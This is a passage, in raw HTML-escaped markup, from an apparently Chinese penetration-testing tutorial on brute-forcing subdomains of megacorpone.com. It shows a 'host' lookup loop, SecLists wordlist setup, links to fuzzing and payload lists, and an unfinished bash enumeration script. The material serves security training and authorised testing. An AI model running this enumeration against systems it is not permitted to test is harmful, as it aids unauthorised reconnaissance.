&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; host -t A &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$subdomain&lt;/span&gt;&lt;span class="s2"&gt;.megacorpone.com&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/has address/ {print $4}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; list.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704130715631" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704130715631.png"&gt;&lt;/p&gt;
&lt;p&gt;想要更全的子域名大字典可以用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install seclists
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;安装后在 &lt;code&gt;/usr/share/seclists&lt;/code&gt;目录下找到更多子域名列表来爆破，在Github上也能找到更多更强大的字典来爆破，日常渗透过程中也可以注意收集目标常用的信息来自制字典。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704131538916" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704131538916.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704131941696" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704131941696.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704134649217" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704134649217.png"&gt;&lt;/p&gt;
&lt;p&gt;字典越强大，扫的东西越多。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Similar Projects&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://wordlists.assetnote.io/" target="_blank" rel="noopener"
 &gt;Assetnote Wordlists&lt;/a&gt;: High quality wordlists for content and subdomain discovery which are automatically updated every month.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/Bo0oM/fuzz.txt" target="_blank" rel="noopener"
 &gt;fuzz.txt&lt;/a&gt;: Wordlists of &amp;ldquo;potentially dangerous&amp;rdquo; files.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/fuzzdb-project/fuzzdb" target="_blank" rel="noopener"
 &gt;FuzzDB&lt;/a&gt;: Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/swisskyrepo/PayloadsAllTheThings" target="_blank" rel="noopener"
 &gt;PayloadsAllTheThings&lt;/a&gt;: A list of useful payloads and bypass for Web Application Security and Pentest/CTF&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/MusicGivesMeLife/BiblePass" target="_blank" rel="noopener"
 &gt;BiblePass&lt;/a&gt;: Wordlists compiled from Bible verses&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/the-xentropy/samlists" target="_blank" rel="noopener"
 &gt;SamLists&lt;/a&gt;: Data-driven wordlists containing HTTP parameter names, directory names and filenames.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Wordlist Tools&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/giteshnxtlvl/cook" target="_blank" rel="noopener"
 &gt;Cook&lt;/a&gt;: A wordlist framework. An overpowered wordlist generator, splitter, merger, finder and saver. Cook facilitates the creation of permutations and combinations with a variety of encodings and many more features.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/s0md3v/wl" target="_blank" rel="noopener"
 &gt;Wl&lt;/a&gt;: CLI utility for converting strings to a given casing style.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/digininja/CeWL" target="_blank" rel="noopener"
 &gt;CeWL&lt;/a&gt;: Custom Word List generator.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用AI帮我们把工具加强一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 脚本名称: subdomainfind.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 子域名枚举工具，支持原始输出、格式化表格和CSV导出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用法: ./subdomainfind.sh 域名 [-w 字典文件] [-o 输出文件]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 错误处理函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;die&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;用法: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; 域名 [-w 字典文件] [-o 输出文件]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -eq &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;缺少域名参数&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DEFAULT_WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 处理参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -gt &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt; -w&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;-w 需要指定字典文件&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;字典文件不存在: &lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; -o&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;-o 需要指定输出文件名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;OUTPUT_FILE&lt;/span&gt;&lt;span class="p"&gt;%.csv&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;未知参数: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;shift&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置默认字典&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;WORDLIST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; ! -f &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;默认字典不存在: &lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用默认字典: &lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置默认输出文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SAFE_DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr -cd &lt;span class="s1"&gt;&amp;#39;[:alnum:]._-&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;CSV_OUTPUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SAFE_DOMAIN&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.csv&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 创建临时文件存储结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;RESULT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;mktemp&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 获取字典行数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TOTAL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;wc -l &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; die &lt;span class="s2"&gt;&amp;#34;无法读取字典文件&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 开始扫描&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;开始子域名枚举扫描&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;目标域名: &lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用字典: &lt;/span&gt;&lt;span class="nv"&gt;$WORDLIST&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描数量: &lt;/span&gt;&lt;span class="nv"&gt;$TOTAL&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
